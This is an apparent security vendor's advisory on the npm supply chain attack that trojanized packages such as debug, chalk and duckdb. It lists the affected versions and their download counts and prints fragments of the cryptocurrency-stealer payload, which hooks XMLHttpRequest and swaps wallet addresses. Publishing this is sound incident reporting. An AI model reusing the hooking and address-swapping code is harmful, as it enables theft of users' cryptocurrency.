New compromised packages identified in largest npm attack in history

Duckdb, coveops/abi and more new packages discovered as compromised in the ongoing phishing campaign

On September 8th, a malicious actor compromised the npm registry by publishing trojanized versions of 18 widely-used packages, after obtaining developers’ tokens in a phishing attack, as reported by Aikido. Massively popular packages such as “debug”, “chalk” and “ansi-styles” were compromised. The injected payload was obfuscated with the popular “javascript-obfuscator” library and contained a cryptocurrency stealer malware.

The malware replaced methods of XMLHttpRequest class with its own, in order to monitor web3 traffic.


XMLHttpRequest.prototype.send = function (_0x270708) {
        if (_0x159c30.readyState === 4) {
          try {
            const content_type = _0x159c30.getResponseHeader("Content-Type");
            let response_data = _0x159c30.responseText;
            if (content_type.includes("application/json")) {
              response_data = JSON.parse(_0x159c30.responseText);
            }
            const _0x454f4a = process_response(response_data);
      }      
      return original_send.apply(this, arguments);
    };

 

Once the malicious code detected a transaction on a supported network, it intercepted the request. It replaced the receiver’s address with one controlled by the attacker, redirecting the funds to the thief’s wallet.

 


const patterns_map = {
      'ethereum': /\b0x[a-fA-F0-9]{40}\b/g,
      'bitcoinLegacy': /\b1[a-km-zA-HJ-NP-Z1-9]{25,34}\b/g,
      'bitcoinSegwit': /\b(3[a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71})\b/g,
      'tron': /((?<!\w)[T][1-9A-HJ-NP-Za-km-z]{33})/g,
      'bch': /bitcoincash:[qp][a-zA-Z0-9]{41}/g,
      'ltc': /(?<!\w)ltc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71}\b/g,
      'ltc2': /(?<!\w)[mlML][a-km-zA-HJ-NP-Z1-9]{25,34}/g,
      'solana': /((?<!\w)[4-9A-HJ-NP-Za-km-z][1-9A-HJ-NP-Za-km-z]{32,44})/g,
      'solana2': /((?<!\w)[3][1-9A-HJ-NP-Za-km-z]{35,44})/g,
      'solana3': /((?<!\w)[1][1-9A-HJ-NP-Za-km-z]{35,44})/g
    };
    for (const [network_name, address_regex] of Object.entries(patterns_map)) {
      const matches = regex.matches(address_regex) || [];
      for (const match of matches) {
        if (network_name == "ethereum") {
          if (!attacker_address.includes(match) && neth == 0) {
            regex = regex.replace(match, find_closest(match, attacker_address));
          }
        }

What’s the impact?

Surprisingly, practical damage from the attack is almost non-existent. The attackers poorly used a widely known obfuscator, which led to immediate detection shortly after the malicious versions were published. Blockchain analysis of the associated wallets indicates that the campaign yielded only around $500 in stolen cryptocurrency. 

The attack’s reach makes this the most widespread supply chain attack in npm’s history. The compromised packages are extremely popular, having a total of two billion downloads across all versions while the compromised versions were downloaded more than 2.5 million times.

The incident highlights how fragile the modern JavaScript ecosystem is, where half of the codebase is dependent on single-line utilities maintained by a single developer.

 

After the initial batch of infected packages, we identified a few more compromised accounts, including duckdb, which indicates that the campaign is still active. We’re continuing to monitor the situation and will keep this article updated as new information becomes available.

 

The affected packages

Initially reported

The initially reported compromised packages were downloaded more than 2.5M times –

Package Name Package Version # Downloads of compromised version
backslash 0.2.1 2482
chalk-template 1.1.1 2708
supports-hyperlinks 4.1.1 166
has-ansi 6.0.1 127
simple-swizzle 0.2.3 308579
color-string 2.1.1 1510
error-ex 1.3.3 220642
color-name 2.0.1 5869
is-arrayish 0.3.3 133998
slice-ansi 7.1.1 51073
color-convert 3.1.1 1104
wrap-ansi 9.0.1 100947
ansi-regex 6.2.1 357201
supports-color 10.2.1 11811
strip-ansi 7.1.1 412854
chalk 5.6.1 146630
debug 4.4.2 543051
ansi-styles 6.2.2 324330
proto-tinker-wc 0.1.87 75
prebid 10.9.1 98
prebid 10.9.2 98

 

Ongoing – reported by JFrog

Packages discovered after the initial compromise were removed quickly and received almost no downloads –

Package Name Package Version # Downloads of compromised version
@coveops/abi 2.0.1 No information
duckdb 1.3.3 5
@duckdb/node-bindings 1.3.3 No information
@duckdb/duckdb-wasm 1.29.2 No information
@duckdb/node-api 1.3.3 No information